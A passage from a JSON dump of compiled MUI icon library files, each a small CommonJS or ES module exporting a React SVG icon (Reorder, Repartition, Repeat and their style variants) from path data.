    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 15h18v-2H3zm0 4h18v-2H3zm0-8h18V9H3zm0-6v2h18V5z\"\n}), 'Reorder');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReorderOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 15h18v-2H3zm0 4h18v-2H3zm0-8h18V9H3zm0-6v2h18V5z\"\n}), 'ReorderOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReorderOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 15h18v-2H3zm0 4h18v-2H3zm0-8h18V9H3zm0-6v2h18V5z\"\n}), 'ReorderOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReorderRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 15h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1m0 4h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1m0-8h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1M3 6c0 .55.45 1 1 1h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1\"\n}), 'ReorderRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReorderRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 15h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1m0 4h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1m0-8h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1s.45 1 1 1M3 6c0 .55.45 1 1 1h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1\"\n}), 'ReorderRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReorderSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 15h18v-2H3zm0 4h18v-2H3zm0-8h18V9H3zm0-6v2h18V5z\"\n}), 'ReorderSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReorderSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 15h18v-2H3zm0 4h18v-2H3zm0-8h18V9H3zm0-6v2h18V5z\"\n}), 'ReorderSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReorderTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 15h18v-2H3zm0 4h18v-2H3zm0-8h18V9H3zm0-6v2h18V5z\"\n}), 'ReorderTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReorderTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 15h18v-2H3zm0 4h18v-2H3zm0-8h18V9H3zm0-6v2h18V5z\"\n}), 'ReorderTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Repartition.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 21h18v-6H3zm7.33-2v-2h3.33v2zM19 19h-3.33v-2H19zM5 17h3.33v2H5zm1-7 1.42-1.42L5.83 7H17c1.1 0 2 .9 2 2s-.9 2-2 2H3v2h14c2.21 0 4-1.79 4-4s-1.79-4-4-4H5.83l1.59-1.59L6 2 2 6z\"\n}), 'Repartition');"
  },
  {
    "path": "packages/mui-icons-material/lib/Repartition.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 21h18v-6H3zm7.33-2v-2h3.33v2zM19 19h-3.33v-2H19zM5 17h3.33v2H5zm1-7 1.42-1.42L5.83 7H17c1.1 0 2 .9 2 2s-.9 2-2 2H3v2h14c2.21 0 4-1.79 4-4s-1.79-4-4-4H5.83l1.59-1.59L6 2 2 6z\"\n}), 'Repartition');"
  },
  {
    "path": "packages/mui-icons-material/lib/RepartitionOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 21h18v-6H3zm7.33-2v-2h3.33v2zM19 19h-3.33v-2H19zM5 17h3.33v2H5zm1-7 1.42-1.42L5.83 7H17c1.1 0 2 .9 2 2s-.9 2-2 2H3v2h14c2.21 0 4-1.79 4-4s-1.79-4-4-4H5.83l1.59-1.59L6 2 2 6z\"\n}), 'RepartitionOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RepartitionOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 21h18v-6H3zm7.33-2v-2h3.33v2zM19 19h-3.33v-2H19zM5 17h3.33v2H5zm1-7 1.42-1.42L5.83 7H17c1.1 0 2 .9 2 2s-.9 2-2 2H3v2h14c2.21 0 4-1.79 4-4s-1.79-4-4-4H5.83l1.59-1.59L6 2 2 6z\"\n}), 'RepartitionOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RepartitionRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4.5 21h15c.83 0 1.5-.67 1.5-1.5v-3c0-.83-.67-1.5-1.5-1.5h-15c-.83 0-1.5.67-1.5 1.5v3c0 .83.67 1.5 1.5 1.5m5.83-2v-2h3.33v2zM19 19h-3.33v-2H19zM5 17h3.33v2H5zm1.71-7.71c.39-.39.39-1.02 0-1.42L5.83 7h11.06c1 0 1.92.68 2.08 1.66C19.18 9.91 18.21 11 17 11H4c-.55 0-1 .45-1 1s.45 1 1 1h12.82c2.09 0 3.96-1.52 4.16-3.6C21.21 7.02 19.34 5 17 5H5.83l.88-.88c.39-.39.39-1.02 0-1.42a.996.996 0 0 0-1.41 0L2.71 5.29c-.39.39-.39 1.02 0 1.41L5.3 9.29c.38.39 1.02.39 1.41 0\"\n}), 'RepartitionRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RepartitionRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4.5 21h15c.83 0 1.5-.67 1.5-1.5v-3c0-.83-.67-1.5-1.5-1.5h-15c-.83 0-1.5.67-1.5 1.5v3c0 .83.67 1.5 1.5 1.5m5.83-2v-2h3.33v2zM19 19h-3.33v-2H19zM5 17h3.33v2H5zm1.71-7.71c.39-.39.39-1.02 0-1.42L5.83 7h11.06c1 0 1.92.68 2.08 1.66C19.18 9.91 18.21 11 17 11H4c-.55 0-1 .45-1 1s.45 1 1 1h12.82c2.09 0 3.96-1.52 4.16-3.6C21.21 7.02 19.34 5 17 5H5.83l.88-.88c.39-.39.39-1.02 0-1.42a.996.996 0 0 0-1.41 0L2.71 5.29c-.39.39-.39 1.02 0 1.41L5.3 9.29c.38.39 1.02.39 1.41 0\"\n}), 'RepartitionRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RepartitionSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 21h18v-6H3zm7.33-2v-2h3.33v2zM19 19h-3.33v-2H19zM5 17h3.33v2H5zm1-7 1.42-1.42L5.83 7H17c1.1 0 2 .9 2 2s-.9 2-2 2H3v2h14c2.21 0 4-1.79 4-4s-1.79-4-4-4H5.83l1.59-1.59L6 2 2 6z\"\n}), 'RepartitionSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RepartitionSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 21h18v-6H3zm7.33-2v-2h3.33v2zM19 19h-3.33v-2H19zM5 17h3.33v2H5zm1-7 1.42-1.42L5.83 7H17c1.1 0 2 .9 2 2s-.9 2-2 2H3v2h14c2.21 0 4-1.79 4-4s-1.79-4-4-4H5.83l1.59-1.59L6 2 2 6z\"\n}), 'RepartitionSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RepartitionTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.67 17H19v2h-3.33zm-5.34 0h3.33v2h-3.33zM5 17h3.33v2H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 21h18v-6H3zm12.67-4H19v2h-3.33zm-5.34 0h3.33v2h-3.33zM5 17h3.33v2H5zm1-7 1.42-1.42L5.83 7H17c1.1 0 2 .9 2 2s-.9 2-2 2H3v2h14c2.21 0 4-1.79 4-4s-1.79-4-4-4H5.83l1.59-1.59L6 2 2 6z\"\n}, \"1\")], 'RepartitionTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RepartitionTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.67 17H19v2h-3.33zm-5.34 0h3.33v2h-3.33zM5 17h3.33v2H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 21h18v-6H3zm12.67-4H19v2h-3.33zm-5.34 0h3.33v2h-3.33zM5 17h3.33v2H5zm1-7 1.42-1.42L5.83 7H17c1.1 0 2 .9 2 2s-.9 2-2 2H3v2h14c2.21 0 4-1.79 4-4s-1.79-4-4-4H5.83l1.59-1.59L6 2 2 6z\"\n}, \"1\")], 'RepartitionTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Repeat.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 7h10v3l4-4-4-4v3H5v6h2zm10 10H7v-3l-4 4 4 4v-3h12v-6h-2z\"\n}), 'Repeat');"
  },
  {
    "path": "packages/mui-icons-material/lib/Repeat.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 7h10v3l4-4-4-4v3H5v6h2zm10 10H7v-3l-4 4 4 4v-3h12v-6h-2z\"\n}), 'Repeat');"
  },
  {
    "path": "packages/mui-icons-material/lib/RepeatOn.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M21 1H3c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2M7 7h10v3l4-4-4-4v3H5v6h2zm10 10H7v-3l-4 4 4 4v-3h12v-6h-2z\"\n}), 'RepeatOn');"
  },
  {
    "path": "packages/mui-icons-material/lib/RepeatOn.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M21 1H3c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2M7 7h10v3l4-4-4-4v3H5v6h2zm10 10H7v-3l-4 4 4 4v-3h12v-6h-2z\"\n}), 'RepeatOn');"
  },
  {
    "path": "packages/mui-icons-material/lib/RepeatOnOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 1H3c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m-2 18H6.83l1.58 1.58L7 22l-4-4 4-4 1.41 1.42L6.83 17H17v-4h2zm-2-9-1.41-1.42L17.17 7H7v4H5V5h12.17l-1.58-1.58L17 2l4 4z\"\n}), 'RepeatOnOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RepeatOnOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 1H3c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m-2 18H6.83l1.58 1.58L7 22l-4-4 4-4 1.41 1.42L6.83 17H17v-4h2zm-2-9-1.41-1.42L17.17 7H7v4H5V5h12.17l-1.58-1.58L17 2l4 4z\"\n}), 'RepeatOnOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RepeatOnRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 1H3c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m-2 17c0 .55-.45 1-1 1H7v1.79c0 .45-.54.67-.85.36l-2.79-2.79c-.2-.2-.2-.51 0-.71l2.79-2.79c.31-.32.85-.1.85.35V17h10v-3c0-.55.45-1 1-1s1 .45 1 1zm1.64-11.65-2.79 2.79c-.31.32-.85.1-.85-.35V7H7v3c0 .55-.45 1-1 1s-1-.45-1-1V6c0-.55.45-1 1-1h11V3.21c0-.45.54-.67.85-.36l2.79 2.79c.2.2.2.51 0 .71\"\n}), 'RepeatOnRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RepeatOnRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 1H3c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m-2 17c0 .55-.45 1-1 1H7v1.79c0 .45-.54.67-.85.36l-2.79-2.79c-.2-.2-.2-.51 0-.71l2.79-2.79c.31-.32.85-.1.85.35V17h10v-3c0-.55.45-1 1-1s1 .45 1 1zm1.64-11.65-2.79 2.79c-.31.32-.85.1-.85-.35V7H7v3c0 .55-.45 1-1 1s-1-.45-1-1V6c0-.55.45-1 1-1h11V3.21c0-.45.54-.67.85-.36l2.79 2.79c.2.2.2.51 0 .71\"\n}), 'RepeatOnRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RepeatOnSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 1H3c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m-2 18H7v3l-4-4 4-4v3h10v-4h2zm-2-9V7H7v4H5V5h12V2l4 4z\"\n}), 'RepeatOnSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RepeatOnSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 1H3c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m-2 18H7v3l-4-4 4-4v3h10v-4h2zm-2-9V7H7v4H5V5h12V2l4 4z\"\n}), 'RepeatOnSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RepeatOnTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 1H3c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m-2 18H7v3l-4-4 4-4v3h10v-4h2zm-2-9V7H7v4H5V5h12V2l4 4z\"\n}), 'RepeatOnTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RepeatOnTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 1H3c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m-2 18H7v3l-4-4 4-4v3h10v-4h2zm-2-9V7H7v4H5V5h12V2l4 4z\"\n}), 'RepeatOnTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RepeatOne.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 7h10v3l4-4-4-4v3H5v6h2zm10 10H7v-3l-4 4 4 4v-3h12v-6h-2zm-4-2V9h-1l-2 1v1h1.5v4z\"\n}), 'RepeatOne');"
  },
  {
    "path": "packages/mui-icons-material/lib/RepeatOne.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 7h10v3l4-4-4-4v3H5v6h2zm10 10H7v-3l-4 4 4 4v-3h12v-6h-2zm-4-2V9h-1l-2 1v1h1.5v4z\"\n}), 'RepeatOne');"
  },
  {
    "path": "packages/mui-icons-material/lib/RepeatOneOn.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M21 1H3c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2M7 7h10v3l4-4-4-4v3H5v6h2zm10 10H7v-3l-4 4 4 4v-3h12v-6h-2zm-4-2V9h-1l-2 1v1h1.5v4z\"\n}), 'RepeatOneOn');"
  },
  {
    "path": "packages/mui-icons-material/lib/RepeatOneOn.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  fillRule: \"evenodd\",\n  d: \"M21 1H3c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2M7 7h10v3l4-4-4-4v3H5v6h2zm10 10H7v-3l-4 4 4 4v-3h12v-6h-2zm-4-2V9h-1l-2 1v1h1.5v4z\"\n}), 'RepeatOneOn');"
  },
  {
    "path": "packages/mui-icons-material/lib/RepeatOneOnOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 1H3c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m-2 18H6.83l1.58 1.58L7 22l-4-4 4-4 1.41 1.42L6.83 17H17v-4h2zm-9-8.5V9h3v6h-1.5v-4.5zm7-.5-1.41-1.42L17.17 7H7v4H5V5h12.17l-1.58-1.58L17 2l4 4z\"\n}), 'RepeatOneOnOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RepeatOneOnOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 1H3c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m-2 18H6.83l1.58 1.58L7 22l-4-4 4-4 1.41 1.42L6.83 17H17v-4h2zm-9-8.5V9h3v6h-1.5v-4.5zm7-.5-1.41-1.42L17.17 7H7v4H5V5h12.17l-1.58-1.58L17 2l4 4z\"\n}), 'RepeatOneOnOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RepeatOneOnRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 1H3c-1.1 0-2 .9-2 2v18c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V3c0-1.1-.9-2-2-2m-2 17c0 .55-.45 1-1 1H7v1.79c0 .45-.54.67-.85.36l-2.79-2.79c-.2-.2-.2-.51 0-.71l2.79-2.79c.31-.32.85-.1.85.35V17h10v-3c0-.55.45-1 1-1s1 .45 1 1zm-8.25-7.5c-.41 0-.75-.34-.75-.75s.34-.75.75-.75h1.5c.41 0 .75.34.75.75v4.5c0 .41-.34.75-.75.75s-.75-.34-.75-.75V10.5zm9.89-4.15-2.79 2.79c-.31.32-.85.1-.85-.35V7H7v3c0 .55-.45 1-1 1s-1-.45-1-1V6c0-.55.45-1 